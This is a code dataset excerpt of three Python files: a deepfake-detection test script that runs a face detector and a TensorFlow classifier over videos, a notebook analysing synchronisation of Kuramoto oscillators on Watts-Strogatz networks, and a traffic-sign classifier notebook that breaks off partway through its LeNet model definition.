"d7755b5d2795c2bc6d84425a046e650c7790f487", "size": 1204, "ext": "py", "lang": "Python", "max_stars_repo_path": "week_1/ai_balancing.py", "max_stars_repo_name": "moustafa-7/DRL-in-120-days", "max_stars_repo_head_hexsha": "e8de2386e4ca01d20fcd8784d41baf2f803431d1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week_1/ai_balancing.py", "max_issues_repo_name": "moustafa-7/DRL-in-120-days", "max_issues_repo_head_hexsha": "e8de2386e4ca01d20fcd8784d41baf2f803431d1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week_1/ai_balancing.py", "max_forks_repo_name": "moustafa-7/DRL-in-120-days", "max_forks_repo_head_hexsha": "e8de2386e4ca01d20fcd8784d41baf2f803431d1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.406779661, "max_line_length": 59, "alphanum_fraction": 0.6179401993, "include": true, "reason": "import numpy", "num_tokens": 300, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.18242552380635632, "lm_q1q2_score": 0.09619599298926428}}
{"text": "import numpy as np\nimport tensorflow as tf\nfrom model_deepfake import build_model\nfrom utils import random_crop_and_pad_image_and_labels\nimport os\nimport cv2\nimport time\nimport cv2\nimport numpy as np\nfrom face_detection.face_detection import RetinaFace\nimport os\nimport skimage.io\nimport numpy as np\nimport cv2\ndetector = RetinaFace(0)\nfrom tensorflow.python.ops import variables\nslim = tf.contrib.slim\nflags = tf.app.flags\nFLAGS = flags.FLAGS\nimport random\nflags.DEFINE_integer('max_to_keep', 50,\n                     'Maximium number of checkpoints to be saved.')\n\nflags.DEFINE_float('learning_power', 0.9,\n                   'The power value used in the poly learning policy.')\n\nflags.DEFINE_integer('Epochs', 100,\n                     'The number of steps used for training')\n\nflags.DEFINE_float('momentum', 0.9, 'The momentum value to use')\n\nflags.DEFINE_integer('train_crop_size', 256 ,\n                           'Image crop size [height, width] during training.')\n\nflags.DEFINE_string('tf_initial_checkpoint', None,\n                    'The initial checkpoint in tensorflow format.')\n\nflags.DEFINE_float('learning_rate', .0000001,\n                   'Learning rate employed during slow start.')\n\nflags.DEFINE_string('image_dir', None,\n                    'The Image Directory.')\n\nflags.DEFINE_string('label_dir', None,\n                    'The Label Directory.')\n\nflags.DEFINE_string('log_dir', None,\n                    'The Logs Directory.')\n\nflags.DEFINE_float('clip_by_value', 1.0, 'The value to be used for clipping.')\n\n \nflags.DEFINE_string('train_text', None,\n                    'The Path to the text file containing names of Images and Labels')###This text file should not have extensions in their names such as 8192.png or 8192.jpg instead just the name such as 8192\n\nImage_directory = FLAGS.image_dir\nLabel_directory = FLAGS.label_dir\nmy_log_dir = FLAGS.log_dir\n\ndef save(saver, sess, logdir, step):\n\n   model_name = 'model.ckpt'\n   checkpoint_path = os.path.join(logdir, model_name)\n    \n   if not os.path.exists(logdir):\n      os.makedirs(logdir)\n   saver.save(sess, checkpoint_path, global_step=step)\n   print('The checkpoint has been created.')\n\ndef load(saver, sess, ckpt_path):\n    saver.restore(sess, ckpt_path)\n    print(\"Restored model parameters from {}\".format(ckpt_path))\n       \ndef main(unused_argv):    \n    \n    image_ph = tf.placeholder(tf.float32,[1,256,256,3],name='image_placeholder')\n    pred_sigmoid,pred = build_model(image_ph)\n    print(pred)\n    loader = tf.train.Saver(var_list=tf.global_variables() )\n    init = variables.global_variables_initializer()\n    folders='/home/ubuntu/Trueaware/Test_Fake_Videos/'\n    count_true=0\n    count_false=0\n    with tf.Session() as sess:\n        sess.run(init)\n        #if FLAGS.tf_initial_checkpoint==True:\n        load(loader, sess, './checkpoint/model.ckpt-700000')\n        print('Training Starts........')\n        step_iter = 0\n        alls=os.listdir(folders)\n        for al in alls:\n            try :\n                cap = cv2.VideoCapture(folders+al)\n                print(folders+al)\n                property_id = int(cv2.CAP_PROP_FRAME_COUNT) \n                length = int(cv2.VideoCapture.get(cap, property_id))\n\n                frame= random.randint(0,length)\n                cap.set(cv2.CAP_PROP_POS_FRAMES, frame-1)\n                res, frame = cap.read()\n                faces = detector(frame)\n                box, landmarks, score = faces[0]\n                box = box.astype(np.int)\n                fimg=frame[box[1]-10:box[3]+10,box[0]-10:box[2]+10,:]\n                faces = cv2.cvtColor(np.asarray(fimg), cv2.COLOR_BGR2RGB)\n                faces=cv2.resize(faces,(256,256),interpolation=cv2.INTER_CUBIC)\n                input_image = faces.copy()\n                input_image = np.expand_dims(faces,axis=0)\n                start_time = time.time()\n\n                feed_dict={image_ph:input_image}#,label_ph:class_id}\n                P= sess.run(pred_sigmoid, feed_dict=feed_dict)\n                print(P[0][0])\n\n                if P[0][0]>0.65:    ## Threshold \n                    print('DEEPFAKE DETECTED')\n                    count_true=count_true+1\n                    \n                else:\n                    print('DEEPFAKE NOT DETECTED')\n                    count_false=count_false+1\n        \n            except:\n                print(\"ERROR\")\n    print('TRUE DETECTION ::',count_true)\n    print('FALSE DETECTION ::',count_false)\n\nif __name__ == '__main__':\n  tf.app.run()\n", "meta": {"hexsha": "f8cbdedb27aa86836715e4ea39cc2a1e3c318205", "size": 4483, "ext": "py", "lang": "Python", "max_stars_repo_path": "test.py", "max_stars_repo_name": "Raj-08/Deepfake-Detection-Mesonet", "max_stars_repo_head_hexsha": "3c218c3476985f88c57aefeffa0b06247fd8432a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test.py", "max_issues_repo_name": "Raj-08/Deepfake-Detection-Mesonet", "max_issues_repo_head_hexsha": "3c218c3476985f88c57aefeffa0b06247fd8432a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-06-04T12:57:31.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-05T01:36:46.000Z", "max_forks_repo_path": "test.py", "max_forks_repo_name": "Raj-08/Deepfake-Detection-Mesonet", "max_forks_repo_head_hexsha": "3c218c3476985f88c57aefeffa0b06247fd8432a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.4846153846, "max_line_length": 209, "alphanum_fraction": 0.6256970778, "include": true, "reason": "import numpy", "num_tokens": 1020, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795672, "lm_q2_score": 0.18242551713899047, "lm_q1q2_score": 0.0961959894734521}}
{"text": "import os\nfrom sympy import *\nimport pandas as pd\nimport numpy as np\nimport scipy.fftpack\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nplt.style.use(\"seaborn-paper\")\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n\n\n\ndef find_nearest(array, value):\n    array = np.asarray(array)\n    idx = (np.abs(array - value)).argmin()\n    return idx\n\ndef find_nearest_value(array, value):\n    array = np.asarray(array)\n    idx = (np.abs(array - value)).argmin()\n    return array[idx]\n\n\n# ## Canvas palette\n\n# In[2]:\n\n\n#Canvas for single plot\nx = np.linspace(0,10,100)\ny = np.sin(x)\nplt.figure(figsize=[14,6])\nplt.grid(True)\nplt.title(\"Change-me!\",fontsize=20)\nplt.plot(x,y,label=\"testvalue\")\nplt.legend(fontsize=16)\nplt.xlabel(\"XLABEL (unit)\",fontsize=18)\nplt.ylabel(\"YLABEL (unit)\",fontsize=18)\nplt.show()\n\n\n# In[3]:\n\n\n#Canvas for side by side\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(14,6))\nfig.suptitle(\"test\",y=1.05,fontsize=20)\n\naxes[0].grid(True)\naxes[0].plot(x,y,label=\"testvalue\")\naxes[0].legend(fontsize=16)\naxes[0].set_title(\"TESTTITLE\",fontsize=18)\naxes[0].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0].legend(fontsize=16)\naxes[0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[1].grid(True)\naxes[1].plot(x,y,label=\"testvalue\")\naxes[1].legend(fontsize=16)\naxes[1].set_title(\"TESTTITLE\",fontsize=18)\naxes[1].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[1].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[1].legend(fontsize=16)\naxes[1].tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.show()\n\n\n# In[4]:\n\n\n#Canvas for side by side\nfig, axes = plt.subplots(nrows=2, ncols=4, figsize=(14,6))\nfig.suptitle(\"test\",y=1.05,fontsize=20)\n\naxes[0,0].grid(True)\naxes[0,0].plot(x,y,label=\"testvalue\")\naxes[0,0].legend(fontsize=16)\naxes[0,0].set_title(\"TESTTITLE\",fontsize=18)\naxes[0,0].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0,0].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0,0].legend(fontsize=16)\naxes[0,0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[0,1].grid(True)\naxes[0,1].plot(x,y,label=\"testvalue\")\naxes[0,1].legend(fontsize=16)\naxes[0,1].set_title(\"TESTTITLE\",fontsize=18)\naxes[0,1].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0,1].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0,1].legend(fontsize=16)\naxes[0,1].tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.show()\n\n\n# ## Read data\n\n# In[2]:\n\n\n#Folder and paths definitions\nmain_path  = os.getcwd()\ndatafolder_path = main_path+\"/results\"\nresults_dir = \"/output_py\" \noutput_dir = main_path+results_dir\ntry:\n    os.mkdir(output_dir)\nexcept OSError:\n    print (\"Creation of the directory %s failed\" % results_dir)\nelse:\n    print (\"Successfully created the directory %s \" % results_dir)\n\n\n# In[27]:\n\n\nKvalues = np.linspace(0,6,30)\nKvalues = np.around(Kvalues, decimals=3)\n\n\n# In[28]:\n\n\npvalues = [0, 0.05, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, .95, 1]\n\n\n# In[9]:\n\n\n#Create dataframe dictionary. For each entry, first value is the K of the dataframe (second value)\ndata = []\nfor i in range(0,len(Kvalues)):\n    for j in pvalues:\n        filename = datafolder_path + \"/WS_gfreq_uphase_N2000_NOMF_T20000_dt0.0100_nruns10_K%.3f_p=%.3f.tsv\"%(Kvalues[i],j)\n        #cols refers to timestep, avgmod, stdmod, avgphase,stdphase (of order parameter)\n        df = pd.read_csv(filename,sep=\"\\t\",header=None)\n        data.append([Kvalues[i],j,df])\n    \n\n\n# In[10]:\n\n\n#data[0][x]#, x=0=> K, x=1=>p, x=2=> df \n\n\n# In[11]:\n\n\ndef rinf_avg(df):\n    lasts = df[1][int(T*.9):-1]\n    return np.mean(lasts)\n\ndef rinf_std(df):\n    lasts = df[1][int(T*.9):-1]\n    return np.std(lasts)\n\n\n# In[12]:\n\n\nK_plot = []\np_plot = []\nr_inf_avg = []\nr_inf_std = []\nfor i in range(0,len(data)):\n    t_plot = data[i][2][0]\n    K_plot.append(data[i][0])\n    p_plot.append(data[i][1])\n    r_inf_avg.append(rinf_avg(data[i][2]))\n    r_inf_std.append(rinf_std(data[i][2]))\n\n\n# In[29]:\n\n\nr_inf_mat = np.zeros(shape=[len(pvalues),len(Kvalues)])\nfor i in range(0,len(data)):\n    r_inf_mat[find_nearest(pvalues, data[i][1])][find_nearest(Kvalues, data[i][0])] = rinf_avg(data[i][2])\n\nplt.figure(figsize=[10,10])\nax = plt.gca()\n#name = \"Kuramoto oscillators on Watts-Strogatz network \\n N = %d, r = %d, dt = %.3f, %s, n_runs = %d\\n$r_{\\\\infty}$\"%(N,2,dt,freq_plot, n_runs)\n\nim = plt.imshow(r_inf_mat)\nplt.title(\"Kuramoto oscillators on Watts-Strogatz network\\n N=%d, $r_{WS}$=%d, T=%d, dt=%.3f, %s, n_runs=%d\\n $r_{\\\\infty}$\"%(N,3,T,dt,freq_plot,n_runs),fontsize=20)\n\nplt.yticks(np.linspace(0,len(pvalues)-1,len(pvalues)),pvalues)\nplt.ylabel(\"p\",fontsize=18,rotation=0)\nplt.xticks(np.linspace(0,len(Kvalues)-1,len(Kvalues)),Kvalues,rotation=45)\nplt.xlabel(\"K\",fontsize=18)\n\ndivider = make_axes_locatable(ax)\ncax = divider.append_axes(\"right\", size=\"5%\", pad=0.15)\ncbar = plt.colorbar(im, cax=cax)\n\nplt.tight_layout()\nplt.savefig(output_dir+config_name+\"WS_rinf_heatmap.png\")\n\nplt.show()\n\n\n# In[14]:\n\n\nKcs_df = pd.DataFrame([p_plot,K_plot,r_inf_avg,r_inf_std]).T\n\n\n# In[15]:\n\n\nKcs_df = Kcs_df.sort_values(by=[0,1])\n\n\n# In[31]:\n\n\nKc_plot = []\n\nfor i in range(0,len(pvalues)):\n\n    idx_kc = find_nearest(Kcs_df[0+i*len(Kvalues)+1:len(Kvalues)*(i+1)][2],.5)\n    rinf_value = find_nearest_value(Kcs_df[0+i*len(Kvalues)+1:len(Kvalues)*(i+1)][2],.5)\n    df = Kcs_df[0+i*len(Kvalues)+1:len(Kvalues)*(i+1)]\n    df = df.reset_index(inplace = False) \n    Kc_plot.append([pvalues[i],df[1].iloc[idx_kc]])\n    print(\"prob\",pvalues[i],\", rinf %.3f\"%(rinf_value),\", K\",df[1].iloc[idx_kc])\nKc_plot = pd.DataFrame(Kc_plot, columns=[\"p\",\"Kc\"])\n\n\n# In[54]:\n\n\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\n\n\n# In[55]:\n\n\ndef func(x, a, b):\n    return a+ b/x\n\n\n# In[66]:\n\n\npopt, pcov = curve_fit(func, Kc_plot[\"p\"][2:],Kc_plot[\"Kc\"][2:], p0=[1.6,2])\npopt\n\n\n# In[70]:\n\n\nx_fit = np.linspace(Kc_plot[\"p\"][2],1,100)\ny_fit = func(x_fit,popt[0],popt[1])\n\n\n# In[94]:\n\n\nplt.figure(figsize=[14,6])\nplt.grid(True,alpha=.3)\nplt.title(\"Kuramoto oscillators on Watts-Strogatz network\\n N=%d, $r_{WS}$=%d, T=%d, dt=%.3f, %s, n_runs=%d\\n $K_{c}(p)$\"%(N,3,T,dt,freq_plot,n_runs),fontsize=20)\nplt.plot(x_fit,y_fit,label=\"y(p) = a + $\\\\frac{b}{p}$ fit\")\nplt.plot(Kc_plot[\"p\"],Kc_plot[\"Kc\"],c='b',marker='o',markersize=12,ls='',label=\"Raw Data\")\nplt.plot(Kc_plot[\"p\"][2:],Kc_plot[\"Kc\"][2:],c='r',marker='o',markersize=9,ls='--',linewidth=.7,label=\"Fitted Data\")\nplt.xticks(pvalues,pvalues)\nplt.xlabel(\"p\",fontsize=18,rotation=0)\nplt.yticks(Kvalues,Kvalues)\nplt.ylim(min(Kc_plot[\"Kc\"])*.85,max(Kc_plot[\"Kc\"])*1.1)\nplt.legend(fontsize=18)\n\nplt.text(.5,4,\"a = %.4f$\\pm$%.4f, b = %.4f$\\pm$%.4f\"%(popt[0],pcov[0,0],popt[1],pcov[1,1]),fontsize=20)\n\nplt.tight_layout()\nplt.savefig(output_dir+config_name+\"WS_Kc(p).png\")\n\n\n\n", "meta": {"hexsha": "9291ed9a698a559b269652879dc8307a8cf2d385", "size": 6775, "ext": "py", "lang": "Python", "max_stars_repo_path": "Code/Python/Bonus_part/WS_analysis.py", "max_stars_repo_name": "spicella/Intro_to_ComplexSystems-Kuramoto", "max_stars_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-01-04T22:36:10.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-04T22:36:10.000Z", "max_issues_repo_path": "Code/Python/Bonus_part/WS_analysis.py", "max_issues_repo_name": "spicella/Intro_to_ComplexSystems-Kuramoto", "max_issues_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-01-01T16:13:24.000Z", "max_issues_repo_issues_event_max_datetime": "2020-01-01T16:13:24.000Z", "max_forks_repo_path": "Code/Python/Bonus_part/WS_analysis.py", "max_forks_repo_name": "spicella/IntroCS-Kuramoto", "max_forks_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.606271777, "max_line_length": 165, "alphanum_fraction": 0.6701107011, "include": true, "reason": "import numpy,import scipy,from scipy,from sympy", "num_tokens": 2321, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.19682620128743877, "lm_q1q2_score": 0.09610696584781199}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Self-Driving Car Engineer Nanodegree\n# \n# ## Deep Learning\n# \n# ## Project: Build a Traffic Sign Recognition Classifier\n# \n# ##### Author Ian Whittal\n#  \n# \n# The [rubric](https://review.udacity.com/#!/rubrics/481/view) contains \"Stand Out Suggestions\" for enhancing the project beyond the minimum requirements. The stand out suggestions are optional. If you decide to pursue the \"stand out suggestions\", you can include the code in this Ipython notebook and also discuss the results in the writeup file.\n# \n\n# \n# ## Import Libraries\n\n# In[1]:\n\n\nimport pickle\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nimport scipy.ndimage\nimport cv2 \nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ---\n# ## Load The Data\n\n# In[2]:\n\n\n# Load pickled data\n# import pickle\n\n# Reference location of saved the training, validation and testing data\n\n\ntraining_file = \"../data/train.p\"\nvalidation_file= \"../data/valid.p\"\ntesting_file = \"../data/test.p\"\n\nwith open(training_file, mode='rb') as f: # rb -> (r) read only and (b) opens the file in binary mode.\n    train = pickle.load(f) # train is a dictionary\nwith open(validation_file, mode='rb') as f:\n    valid = pickle.load(f) # valid is a dictionary\nwith open(testing_file, mode='rb') as f:\n    test = pickle.load(f) # test is a dictionary\n\n# Numpy Arrays\nX_train, y_train = train['features'], train['labels']\nX_valid, y_valid = valid['features'], valid['labels']\nX_test, y_test = test['features'], test['labels']\n\n# Check to ensure features equals labels for each data set\nassert(len(X_train) == len(y_train))\nassert(len(X_valid) == len(y_valid))\nassert(len(X_test) == len(y_test))\n\n# Print shapes of training, validation and test data\n\nprint(\"X_train shape:\", X_train[0].shape)\nprint(\"y_train shape:\", y_train.shape)\nprint(\"X_valid shape:\", X_valid[0].shape)\nprint(\"y_valid shape:\", y_valid.shape)\nprint(\"X_test shape:\", X_test[0].shape)\nprint(\"y_test shape:\", y_test.shape)\n\n\n# ---\n# \n# ## Dataset Summary & Exploration\n# \n# The pickled data is a dictionary with 4 key/value pairs:\n# \n# - `'features'` is a 4D array containing raw pixel data of the traffic sign images, (num examples, width, height, channels).\n# - `'labels'` is a 1D array containing the label/class id of the traffic sign. The file `signnames.csv` contains id -> name mappings for each id.\n# - `'sizes'` is a list containing tuples, (width, height) representing the original width and height the image.\n# - `'coords'` is a list containing tuples, (x1, y1, x2, y2) representing coordinates of a bounding box around the sign in the image. **THESE COORDINATES ASSUME THE ORIGINAL IMAGE. THE PICKLED DATA CONTAINS RESIZED VERSIONS (32 by 32) OF THESE IMAGES**\n# \n# Complete the basic data summary below. Use python, numpy and/or pandas methods to calculate the data summary rather than hard coding the results. For example, the [pandas shape method](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.shape.html) might be useful for calculating some of the summary results. \n\n# ### Basic Summary of the Data Set Using Python, Numpy\n\n# In[3]:\n\n\n### Replace each question mark with the appropriate value. \n### Use python, pandas or numpy methods rather than hard coding the results\n\n# Number of training examples\nn_train = len(X_train)\n\n# Number of validation examples\nn_validation = len(X_valid)\n\n# Number of testing examples.\nn_test = len(X_test)\n\n# hat's the shape of an traffic sign image?\nimage_shape = X_train[0].shape\n\n# How many unique classes/labels there are in the dataset. python np.unique() returns unique in array, use training dataset as it will have all labels\nn_classes = len(np.unique(y_train)) \n\nprint(\"Number of training examples =\", n_train)\nprint(\"Number of validation examples =\", n_validation)\nprint(\"Number of testing examples =\", n_test)\nprint(\"Shape of first training image =\", image_shape[0], \"w x\", image_shape[1], \"h x \", image_shape[2], \"d\")\nprint(\"Number of classes =\", n_classes)\n\n\n# ### Exploratory Visualization of the Dataset\n\n# Visualize the German Traffic Signs Dataset using the pickled file(s).  From the visualization we can clearly see this is a large amount of training data, however there is very little validation data.  The test data seems appropriate enough to test our classifier on.   \n# \n# The histogram below shows an overlay of each data set across each of the 43 different sign classes.  Of additional note is that there are limited images available for individual classes, which may make those images harder to classify accurately.  I will want to use data augmentation to create more images overall for training.\n# \n\n# In[4]:\n\n\n# Show visualations of dataset\n\nfig, axs = plt.subplots(2,10, figsize=(15, 6)) \nfig.subplots_adjust(hspace = .2, wspace=.1)\naxs = axs.ravel()\nfor i in range(20):\n    index = random.randint(0, len(X_train))\n    image = X_train[index]\n    axs[i].axis('off')\n    axs[i].imshow(image)\n    axs[i].set_title(y_train[index])\n\n\n# In[5]:\n\n\n# Histogram of Image Class Distribution\n\na = y_train\nb = y_valid\nc = y_test\nbins = n_classes\n\nplt.hist(a, bins, alpha = 1.0, label='Training data')\nplt.hist(b, bins, alpha = 1.0, label='Validation data')\nplt.hist(c, bins, alpha = 0.6, label='Test data')\nplt.legend(loc='upper center')\n\nplt.show()\n\n\n# ----\n# \n# ## Design and Test a Model Architecture\n# \n# Design and implement a deep learning model that learns to recognize traffic signs. Train and test your model on the [German Traffic Sign Dataset](http://benchmark.ini.rub.de/?section=gtsrb&subsection=dataset).\n# \n# The LeNet-5 implementation shown in the [classroom](https://classroom.udacity.com/nanodegrees/nd013/parts/fbf77062-5703-404e-b60c-95b78b2f3f9e/modules/6df7ae49-c61c-4bb2-a23e-6527e69209ec/lessons/601ae704-1035-4287-8b11-e2c2716217ad/concepts/d4aca031-508f-4e0b-b493-e7b706120f81) at the end of the CNN lesson is a solid starting point. You'll have to change the number of classes and possibly the preprocessing, but aside from that it's plug and play! \n# \n# With the LeNet-5 solution from the lecture, you should expect a validation set accuracy of about 0.89. To meet specifications, the validation set accuracy will need to be at least 0.93. It is possible to get an even higher accuracy, but 0.93 is the minimum for a successful project submission. \n# \n# There are various aspects to consider when thinking about this problem:\n# \n# - Neural network architecture (is the network over or underfitting?)\n# - Play around preprocessing techniques (normalization, rgb to grayscale, etc)\n# - Number of examples per label (some have more than others).\n# - Generate fake data.\n# \n# Here is an example of a [published baseline model on this problem](http://yann.lecun.com/exdb/publis/pdf/sermanet-ijcnn-11.pdf). It's not required to be familiar with the approach used in the paper but, it's good practice to try to read papers like these.\n\n# ## Data Augmentation (Rotation)\n\n# In[6]:\n\n\n## Data augmentation technique: Rotate training images\ndegrees = 10\n\n# Rotating images\ndegrees_positive = 10\nX_train_rotated_positive = []\n\nfor i in range(len(X_train)):\n    rotated_image = scipy.ndimage.rotate(X_train[i], degrees_positive)\n    X_train_rotated_positive.append(rotated_image)\n    \ndegrees_negative = 350\nX_train_rotated_negative = []\nfor i in range(len(X_train)):\n    rotated_image = scipy.ndimage.rotate(X_train[i], degrees_negative)\n    X_train_rotated_negative.append(rotated_image)    \n\n# Crop image, due to other image size after rotation. Attention: it's not automated! It fit's currently to the 10\u00b0 rotation.\nfor i in range(len(X_train_rotated_positive)):\n    X_train_rotated_positive[i] = X_train_rotated_positive[i][2:34,2:34]   # box=(y:y+crop, x:x+crop)\n\nfor i in range(len(X_train_rotated_negative)):\n    X_train_rotated_negative[i] = X_train_rotated_negative[i][2:34,2:34]   # box=(y:y+crop, x:x+crop)\n    \n# appending rotated images to training set\n\n# Convert the data into list type to use the method \"append\"\nX_train = list(X_train)\n\n# combine the Lists\nfor i in range(len(X_train_rotated_positive)):\n    X_train.append(X_train_rotated_positive[i])\n    X_train.append(X_train_rotated_negative[i])\n    \n#Convert the data back to a np.array\nX_train = np.array(X_train)\n\n# New number of training examples (after data augmentation)\nnew_n_train = len(X_train)\nprint(\"New number of training samples after data augmentation =\", new_n_train)\n\n\n# do the same for the labels y_train\n# Convert the data into list type to use the method \"append\"\ny_train = list(y_train)\n\n# lengthen the list\nfor i in range(len(y_train)):\n    y_train.append(y_train[i])\n    y_train.append(y_train[i])\n    \n#Convert the data back to a np.array\ny_train = np.array(y_train)\n\n# New length of ground truth labels\nnew_n_train_y = len(y_train)\nprint(\"New length of ground truth labels =\", new_n_train_y)\n\n\n# In[ ]:\n\n\n# Display an example for rotation\n\nfig, (ax1, ax2, ax3) = plt.subplots(1,3)\nax1.imshow(X_train[2018])\nax1.set_title('Original')    \nax1.axis('ON')  # clear x- and y-axes\nax2.imshow(X_train_rotated_positive[2018])\nax2.set_title('Rotated +10\u00b0')    \nax2.axis('ON')  # clear x- and y-axes\nax3.imshow(X_train_rotated_negative[2018])\nax3.set_title('Rotated -10\u00b0')   \nax3.axis('ON')  # clear x- and y-axes\nplt.savefig('./examples/Figure_original_rotated.jpg', dpi=300)\nplt.show()\n\n\n# ## Pre-process the Data Set (normalization, grayscale, etc.)\n\n# ###  Shuffle\n# \n# Shuffle the training data.\n\n# In[7]:\n\n\nfrom sklearn.utils import shuffle\n\nX_train, y_train = shuffle(X_train, y_train)\n\nprint('shuffle complete')\n\n\n# ### Normalizing\n# \n# Normalizing helps the network to converge faster. It makes it a lot easier for the optimizer to proceed numerically. It is required to normalize the image data so that the data has mean zero and equal variance. Minimally, the image data should be normalized so that the data has mean zero and equal variance. For image data, `(pixel - 127.5)/ 255` will take the pixel  is a quick way to approximately normalize the data and can be used in this project. A well conditioned image allows the optimizer to be more efficient to find a solution. \n# \n# ### Single-channel images (e.g. grayscale)\n# \n# As Pierre Sermanet and Yann LeCun mentioned in their [paper](http://yann.lecun.com/exdb/publis/pdf/sermanet-ijcnn-11.pdf), using color channels didn't seem to improve things a lot.  Therefore, I will only use a single channel in my model, e.g. grayscale images instead of color RGB.\n# \n# ### Histogram Equalization \n# This method usually increases the global contrast of many images, especially when the usable data of the image is represented by close contrast values. Through this adjustment, the intensities can be better distributed on the histogram. This allows for areas of lower local contrast to gain a higher contrast. Histogram equalization accomplishes this by effectively spreading out the most frequent intensity values.\n# \n\n# In[8]:\n\n\n# # Normalizing Images for zero mean and equal variance to improve convergence rate\ndef normalize(image):\n    normal = (image - 127.5)/255\n    return np.reshape(normal, (32,32,1))\n\n# Convert RGB to grayscale\ndef grayscale(image):\n    gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n    return np.reshape(gray, (32,32,1))\n\n# Histogram equalization to improve contrast\ndef histogram_equalize(image):\n    equal = cv2.equalizeHist(image)\n    return np.reshape(equal, (32,32,1))\n\n\n# In[9]:\n\n\n# training set data preprocessing\nX_train_normalized = []\n\nfor image in X_train:\n    gray_image = grayscale(image)\n    equal_image = histogram_equalize(gray_image)\n    normalized_image = normalize(equal_image)\n    X_train_normalized.append(normalized_image)\n\n# validation set data preprocessing\nX_valid_normalized = []\n\nfor image in X_valid:\n    gray_image = grayscale(image)\n    equal_image = histogram_equalize(gray_image)\n    normalized_image = normalize(equal_image)\n    X_valid_normalized.append(normalized_image)\n    \n# test set data preprocessing\nX_test_normalized = []\n\nfor image in X_test:\n    gray_image = grayscale(image)\n    equal_image = histogram_equalize(gray_image)\n    normalized_image = normalize(equal_image)\n    X_test_normalized.append(normalized_image)\n\nprint('completed')\n\n\n# ### Model Architecture (Deep Learning Model) Based on LeNet Architecture\n\n# ![LeNet Architecture](lenet.png)\n# Source: Yan LeCun\n# \n# #### Parameters  \n# \n# To calculate the number of neurons in each layer on our CNN:\n# \n# Given: \n# *  Input Layer has a Width `W` and a Height `H`  \n# *  Convolution Layer has a Filter size `F`\n# *  Stride of `S`\n# *  Padding `P`  Note no padding was neccessary for image library (images are 32x32x3)\n# *  Number of Filters `K`\n# \n# Formula:  \n# *  Width of Next Layer `W_out = [(W - F + 2P) / S] + 1`\n# *  Height of Next Layer `H_out = [(H - F + 2P) / S] + 1`\n# *  Output Depth `D_out = K` Number of filters\n# *  Output Volume `V_out = W_out * H_out * D_out`  \n# \n# With parameter sharing, each neuron in an output channel shares it's weights with every other neuron in that channel.  So the number of parameters is equal to the number of neurons in the filter, plus a bias neuron, all multiplied by the number of channels in the output layer.\n# \n# **Remember with weight sharing we use the same filter for an entire depth slice!**\n# \n# If you have N inputs, & K outputs you have (N+1)K parameters to use.\n# \n# \n\n# In[10]:\n\n\nfrom tensorflow.contrib.layers import flatten\n\ndef LeNet(x, keep_prob):    \n    # Hyperparameters for tuning\n    \n    #Agruments used for tf.truncated_normal, randomly defines variables for the weights and biases for each layer\n    mu = 0 # zero mean\n    sigma = 0.1 # variance\n    \n    # Layer 1: Convolutional. Input = 32x32x1. Output = 28x28x6.\n    conv1_W = tf.Variable(tf.truncated_normal(shape=(5, 5, 1, 6), mean = mu, stddev = sigma)) #[5,5,1,6] is a 5x5 filter with a input depth of 1 and output depth of 6\n    conv1_b = tf.Variable(tf.zeros(6))\n    conv1   = tf.nn.conv2d(x, conv1_W, 